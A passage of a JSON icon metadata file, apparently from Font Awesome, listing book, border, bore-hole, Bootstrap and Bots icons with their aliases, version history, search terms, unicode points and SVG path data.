        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M249.6 471.5c10.8 3.8 22.4-4.1 22.4-15.5V78.6c0-4.2-1.6-8.4-5-11C247.4 52 202.4 32 144 32C93.5 32 46.3 45.3 18.1 56.1C6.8 60.5 0 71.7 0 83.8V454.1c0 11.9 12.8 20.2 24.1 16.5C55.6 460.1 105.5 448 144 448c33.9 0 79 14 105.6 23.5zm76.8 0C353 462 398.1 448 432 448c38.5 0 88.4 12.1 119.9 22.6c11.3 3.8 24.1-4.6 24.1-16.5V83.8c0-12.1-6.8-23.3-18.1-27.6C529.7 45.3 482.5 32 432 32c-58.4 0-103.4 20-123 35.6c-3.3 2.6-5 6.8-5 11V456c0 11.4 11.7 19.3 22.4 15.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M249.6 471.5c10.8 3.8 22.4-4.1 22.4-15.5V78.6c0-4.2-1.6-8.4-5-11C247.4 52 202.4 32 144 32C93.5 32 46.3 45.3 18.1 56.1C6.8 60.5 0 71.7 0 83.8V454.1c0 11.9 12.8 20.2 24.1 16.5C55.6 460.1 105.5 448 144 448c33.9 0 79 14 105.6 23.5zm76.8 0C353 462 398.1 448 432 448c38.5 0 88.4 12.1 119.9 22.6c11.3 3.8 24.1-4.6 24.1-16.5V83.8c0-12.1-6.8-23.3-18.1-27.6C529.7 45.3 482.5 32 432 32c-58.4 0-103.4 20-123 35.6c-3.3 2.6-5 6.8-5 11V456c0 11.4 11.7 19.3 22.4 15.5z"
      }
    },
    "free": ["solid"]
  },
  "book-open-reader": {
    "aliases": {
      "names": ["book-reader"],
      "unicodes": {
        "secondary": ["10f5da"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": [
        "flyer",
        "library",
        "notebook",
        "open book",
        "pamphlet",
        "reading",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5da",
    "label": "Book Open Reader",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 96a96 96 0 1 1 192 0A96 96 0 1 1 160 96zm80 152V512l-48.4-24.2c-20.9-10.4-43.5-17-66.8-19.3l-96-9.6C12.5 457.2 0 443.5 0 427V224c0-17.7 14.3-32 32-32H62.3c63.6 0 125.6 19.6 177.7 56zm32 264V248c52.1-36.4 114.1-56 177.7-56H480c17.7 0 32 14.3 32 32V427c0 16.4-12.5 30.2-28.8 31.8l-96 9.6c-23.2 2.3-45.9 8.9-66.8 19.3L272 512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 96a96 96 0 1 1 192 0A96 96 0 1 1 160 96zm80 152V512l-48.4-24.2c-20.9-10.4-43.5-17-66.8-19.3l-96-9.6C12.5 457.2 0 443.5 0 427V224c0-17.7 14.3-32 32-32H62.3c63.6 0 125.6 19.6 177.7 56zm32 264V248c52.1-36.4 114.1-56 177.7-56H480c17.7 0 32 14.3 32 32V427c0 16.4-12.5 30.2-28.8 31.8l-96 9.6c-23.2 2.3-45.9 8.9-66.8 19.3L272 512z"
      }
    },
    "free": ["solid"]
  },
  "book-quran": {
    "aliases": {
      "names": ["quran"],
      "unicodes": {
        "secondary": ["10f687"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "islam", "muslim", "religion"]
    },
    "styles": ["solid"],
    "unicode": "f687",
    "label": "Book Quran",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM274.1 150.2l-8.9 21.4-23.1 1.9c-5.7 .5-8 7.5-3.7 11.2L256 199.8l-5.4 22.6c-1.3 5.5 4.7 9.9 9.6 6.9L280 217.2l19.8 12.1c4.9 3 10.9-1.4 9.6-6.9L304 199.8l17.6-15.1c4.3-3.7 2-10.8-3.7-11.2l-23.1-1.9-8.9-21.4c-2.2-5.3-9.6-5.3-11.8 0zM96 192c0 70.7 57.3 128 128 128c25.6 0 49.5-7.5 69.5-20.5c3.2-2.1 4.5-6.2 3.1-9.7s-5.2-5.6-9-4.8c-6.1 1.2-12.5 1.9-19 1.9c-52.4 0-94.9-42.5-94.9-94.9s42.5-94.9 94.9-94.9c6.5 0 12.8 .7 19 1.9c3.8 .8 7.5-1.3 9-4.8s.2-7.6-3.1-9.7C273.5 71.5 249.6 64 224 64C153.3 64 96 121.3 96 192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM274.1 150.2l-8.9 21.4-23.1 1.9c-5.7 .5-8 7.5-3.7 11.2L256 199.8l-5.4 22.6c-1.3 5.5 4.7 9.9 9.6 6.9L280 217.2l19.8 12.1c4.9 3 10.9-1.4 9.6-6.9L304 199.8l17.6-15.1c4.3-3.7 2-10.8-3.7-11.2l-23.1-1.9-8.9-21.4c-2.2-5.3-9.6-5.3-11.8 0zM96 192c0 70.7 57.3 128 128 128c25.6 0 49.5-7.5 69.5-20.5c3.2-2.1 4.5-6.2 3.1-9.7s-5.2-5.6-9-4.8c-6.1 1.2-12.5 1.9-19 1.9c-52.4 0-94.9-42.5-94.9-94.9s42.5-94.9 94.9-94.9c6.5 0 12.8 .7 19 1.9c3.8 .8 7.5-1.3 9-4.8s.2-7.6-3.1-9.7C273.5 71.5 249.6 64 224 64C153.3 64 96 121.3 96 192z"
      }
    },
    "free": ["solid"]
  },
  "book-skull": {
    "aliases": {
      "names": ["book-dead"],
      "unicodes": {
        "secondary": ["10f6b7"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "crossbones",
        "d&d",
        "dark arts",
        "death",
        "dnd",
        "documentation",
        "evil",
        "fantasy",
        "halloween",
        "holiday",
        "library",
        "necronomicon",
        "read",
        "research",
        "skull",
        "spell"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6b7",
    "label": "Book Skull",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM320 112c0-35.3-35.8-64-80-64s-80 28.7-80 64c0 20.9 12.6 39.5 32 51.2V176c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V163.2c19.4-11.7 32-30.3 32-51.2zM208 96a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM134.3 209.3c-8.1-3.5-17.5 .3-21 8.4s.3 17.5 8.4 21L199.4 272l-77.7 33.3c-8.1 3.5-11.9 12.9-8.4 21s12.9 11.9 21 8.4L240 289.4l105.7 45.3c8.1 3.5 17.5-.3 21-8.4s-.3-17.5-8.4-21L280.6 272l77.7-33.3c8.1-3.5 11.9-12.9 8.4-21s-12.9-11.9-21-8.4L240 254.6 134.3 209.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM320 112c0-35.3-35.8-64-80-64s-80 28.7-80 64c0 20.9 12.6 39.5 32 51.2V176c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V163.2c19.4-11.7 32-30.3 32-51.2zM208 96a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM134.3 209.3c-8.1-3.5-17.5 .3-21 8.4s.3 17.5 8.4 21L199.4 272l-77.7 33.3c-8.1 3.5-11.9 12.9-8.4 21s12.9 11.9 21 8.4L240 289.4l105.7 45.3c8.1 3.5 17.5-.3 21-8.4s-.3-17.5-8.4-21L280.6 272l77.7-33.3c8.1-3.5 11.9-12.9 8.4-21s-12.9-11.9-21-8.4L240 254.6 134.3 209.3z"
      }
    },
    "free": ["solid"]
  },
  "book-tanakh": {
    "aliases": {
      "names": ["tanakh"],
      "unicodes": {
        "secondary": ["10f827"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "jewish", "judaism", "religion"]
    },
    "styles": ["solid"],
    "unicode": "f827",
    "label": "Book Tanakh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM138.7 208l13.9 24H124.9l13.9-24zm-13.9-24L97.1 232c-6.2 10.7 1.5 24 13.9 24h55.4l27.7 48c6.2 10.7 21.6 10.7 27.7 0l27.7-48H305c12.3 0 20-13.3 13.9-24l-27.7-48 27.7-48c6.2-10.7-1.5-24-13.9-24H249.6L221.9 64c-6.2-10.7-21.6-10.7-27.7 0l-27.7 48H111c-12.3 0-20 13.3-13.9 24l27.7 48zm27.7 0l27.7-48h55.4l27.7 48-27.7 48H180.3l-27.7-48zm0-48l-13.9 24-13.9-24h27.7zm41.6-24L208 88l13.9 24H194.1zm69.3 24h27.7l-13.9 24-13.9-24zm13.9 72l13.9 24H263.4l13.9-24zm-55.4 48L208 280l-13.9-24h27.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM138.7 208l13.9 24H124.9l13.9-24zm-13.9-24L97.1 232c-6.2 10.7 1.5 24 13.9 24h55.4l27.7 48c6.2 10.7 21.6 10.7 27.7 0l27.7-48H305c12.3 0 20-13.3 13.9-24l-27.7-48 27.7-48c6.2-10.7-1.5-24-13.9-24H249.6L221.9 64c-6.2-10.7-21.6-10.7-27.7 0l-27.7 48H111c-12.3 0-20 13.3-13.9 24l27.7 48zm27.7 0l27.7-48h55.4l27.7 48-27.7 48H180.3l-27.7-48zm0-48l-13.9 24-13.9-24h27.7zm41.6-24L208 88l13.9 24H194.1zm69.3 24h27.7l-13.9 24-13.9-24zm13.9 72l13.9 24H263.4l13.9-24zm-55.4 48L208 280l-13.9-24h27.7z"
      }
    },
    "free": ["solid"]
  },
  "bookmark": {
    "aliases": {
      "unicodes": {
        "composite": ["1f516", "f097"],
        "secondary": ["10f02e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bookmark",
        "favorite",
        "library",
        "mark",
        "marker",
        "read",
        "remember",
        "research",
        "save"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f02e",
    "label": "Bookmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 48V487.7C0 501.1 10.9 512 24.3 512c5 0 9.9-1.5 14-4.4L192 400 345.7 507.6c4.1 2.9 9 4.4 14 4.4c13.4 0 24.3-10.9 24.3-24.3V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 48V487.7C0 501.1 10.9 512 24.3 512c5 0 9.9-1.5 14-4.4L192 400 345.7 507.6c4.1 2.9 9 4.4 14 4.4c13.4 0 24.3-10.9 24.3-24.3V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0l0 48V441.4l130.1-92.9c8.3-6 19.6-6 27.9 0L336 441.4V48H48V0H336c26.5 0 48 21.5 48 48V488c0 9-5 17.2-13 21.3s-17.6 3.4-24.9-1.8L192 397.5 37.9 507.5c-7.3 5.2-16.9 5.9-24.9 1.8S0 497 0 488V48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0l0 48V441.4l130.1-92.9c8.3-6 19.6-6 27.9 0L336 441.4V48H48V0H336c26.5 0 48 21.5 48 48V488c0 9-5 17.2-13 21.3s-17.6 3.4-24.9-1.8L192 397.5 37.9 507.5c-7.3 5.2-16.9 5.9-24.9 1.8S0 497 0 488V48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bootstrap": {
    "changes": ["5.8.0", "5.15.4", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f836",
    "label": "Bootstrap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"
      }
    },
    "free": ["brands"]
  },
  "border-all": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f84c"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "grid", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f84c",
    "label": "Border All",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 96V224H256V96H384zm0 192V416H256V288H384zM192 224H64V96H192V224zM64 288H192V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 96V224H256V96H384zm0 192V416H256V288H384zM192 224H64V96H192V224zM64 288H192V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "border-none": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f850"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "grid", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f850",
    "label": "Border None",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm96-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM320 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-320a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0-448a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 288a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm192 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 320a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM416 192a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm96-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM320 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-320a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0-448a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 288a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm192 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 320a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM416 192a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64z"
      }
    },
    "free": ["solid"]
  },
  "border-top-left": {
    "aliases": {
      "names": ["border-style"],
      "unicodes": {
        "secondary": ["10f853"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f853",
    "label": "Border Top Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-336c0-8.8 7.2-16 16-16l336 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L80 32C35.8 32 0 67.8 0 112L0 448zm160 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm-96 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm0 32a32 32 0 1 0 0 64 32 32 0 1 0 0-64zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-336c0-8.8 7.2-16 16-16l336 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L80 32C35.8 32 0 67.8 0 112L0 448zm160 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm-96 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm0 32a32 32 0 1 0 0 64 32 32 0 1 0 0-64zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "bore-hole": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bore", "bury", "drill", "hole"]
    },
    "styles": ["solid"],
    "unicode": "e4c3",
    "label": "Bore Hole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c-17.7 0-32 14.3-32 32V296.6c-19.1 11.1-32 31.7-32 55.4c0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.4-32-55.4V32c0-17.7-14.3-32-32-32zM48 128c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H384c-17.7 0-32 14.3-32 32V352c0 53-43 96-96 96s-96-43-96-96V160c0-17.7-14.3-32-32-32H48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c-17.7 0-32 14.3-32 32V296.6c-19.1 11.1-32 31.7-32 55.4c0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.4-32-55.4V32c0-17.7-14.3-32-32-32zM48 128c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H384c-17.7 0-32 14.3-32 32V352c0 53-43 96-96 96s-96-43-96-96V160c0-17.7-14.3-32-32-32H48z"
      }
    },
    "free": ["solid"]
  },
  "bots": {
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e340",
    "label": "Bots",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M86.344,197.834a51.767,51.767,0,0,0-41.57,20.058V156.018a8.19,8.19,0,0,0-8.19-8.19H8.19A8.19,8.19,0,0,0,0,156.018V333.551a8.189,8.189,0,0,0,8.19,8.189H36.584a8.189,8.189,0,0,0,8.19-8.189v-8.088c11.628,13.373,25.874,19.769,41.573,19.769,34.6,0,61.922-26.164,61.922-73.843C148.266,225.452,121.229,197.834,86.344,197.834ZM71.516,305.691c-9.593,0-21.221-4.942-26.745-12.5V250.164c5.528-7.558,17.152-12.791,26.745-12.791,17.734,0,31.107,13.082,31.107,34.013C102.623,292.609,89.25,305.691,71.516,305.691Zm156.372-59.032a17.4,17.4,0,1,0,17.4,17.4A17.4,17.4,0,0,0,227.888,246.659ZM273.956,156.7V112.039a13.308,13.308,0,1,0-10.237,0V156.7a107.49,107.49,0,1,0,10.237,0Zm85.993,107.367c0,30.531-40.792,55.281-91.112,55.281s-91.111-24.75-91.111-55.281,40.792-55.281,91.111-55.281S359.949,233.532,359.949,264.062Zm-50.163,17.4a17.4,17.4,0,1,0-17.4-17.4h0A17.4,17.4,0,0,0,309.786,281.466ZM580.7,250.455c-14.828-2.617-22.387-3.78-22.387-9.885,0-5.523,7.268-9.884,17.735-9.884a65.56,65.56,0,0,1,34.484,10.1,8.171,8.171,0,0,0,11.288-2.468c.07-.11.138-.221.2-.333l8.611-14.886a8.2,8.2,0,0,0-2.867-11.123,99.863,99.863,0,0,0-52.014-14.138c-38.956,0-60.179,21.514-60.179,46.225,0,36.342,33.725,41.864,57.563,45.642,13.373,2.326,24.13,4.361,24.13,11.048,0,6.4-5.523,10.757-18.9,10.757-13.552,0-30.994-6.222-42.623-13.579a8.206,8.206,0,0,0-11.335,2.491c-.035.054-.069.108-.1.164l-10.2,16.891a8.222,8.222,0,0,0,2.491,11.066c15.224,10.3,37.663,16.692,59.441,16.692,40.409,0,63.957-19.769,63.957-46.515C640,260.63,604.537,254.816,580.7,250.455Zm-95.928,60.787a8.211,8.211,0,0,0-9.521-5.938,23.168,23.168,0,0,1-4.155.387c-7.849,0-12.5-6.106-12.5-14.245V240.28h20.349a8.143,8.143,0,0,0,8.141-8.143V209.466a8.143,8.143,0,0,0-8.141-8.143H458.594V171.091a8.143,8.143,0,0,0-8.143-8.143H422.257a8.143,8.143,0,0,0-8.143,8.143h0v30.232H399a8.143,8.143,0,0,0-8.143,8.143h0v22.671A8.143,8.143,0,0,0,399,240.28h15.115v63.667c0,27.037,15.408,41.282,43.9,41.282,12.183,0,21.383-2.2,27.6-5.446a8.161,8.161,0,0,0,4.145-9.278Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M86.344,197.834a51.767,51.767,0,0,0-41.57,20.058V156.018a8.19,8.19,0,0,0-8.19-8.19H8.19A8.19,8.19,0,0,0,0,156.018V333.551a8.189,8.189,0,0,0,8.19,8.189H36.584a8.189,8.189,0,0,0,8.19-8.189v-8.088c11.628,13.373,25.874,19.769,41.573,19.769,34.6,0,61.922-26.164,61.922-73.843C148.266,225.452,121.229,197.834,86.344,197.834ZM71.516,305.691c-9.593,0-21.221-4.942-26.745-12.5V250.164c5.528-7.558,17.152-12.791,26.745-12.791,17.734,0,31.107,13.082,31.107,34.013C102.623,292.609,89.25,305.691,71.516,305.691Zm156.372-59.032a17.4,17.4,0,1,0,17.4,17.4A17.4,17.4,0,0,0,227.888,246.659ZM273.956,156.7V112.039a13.308,13.308,0,1,0-10.237,0V156.7a107.49,107.49,0,1,0,10.237,0Zm85.993,107.367c0,30.531-40.792,55.281-91.112,55.281s-91.111-24.75-91.111-55.281,40.792-55.281,91.111-55.281S359.949,233.532,359.949,264.062Zm-50.163,17.4a17.4,17.4,0,1,0-17.4-17.4h0A17.4,17.4,0,0,0,309.786,281.466ZM580.7,250.455c-14.828-2.617-22.387-3.78-22.387-9.885,0-5.523,7.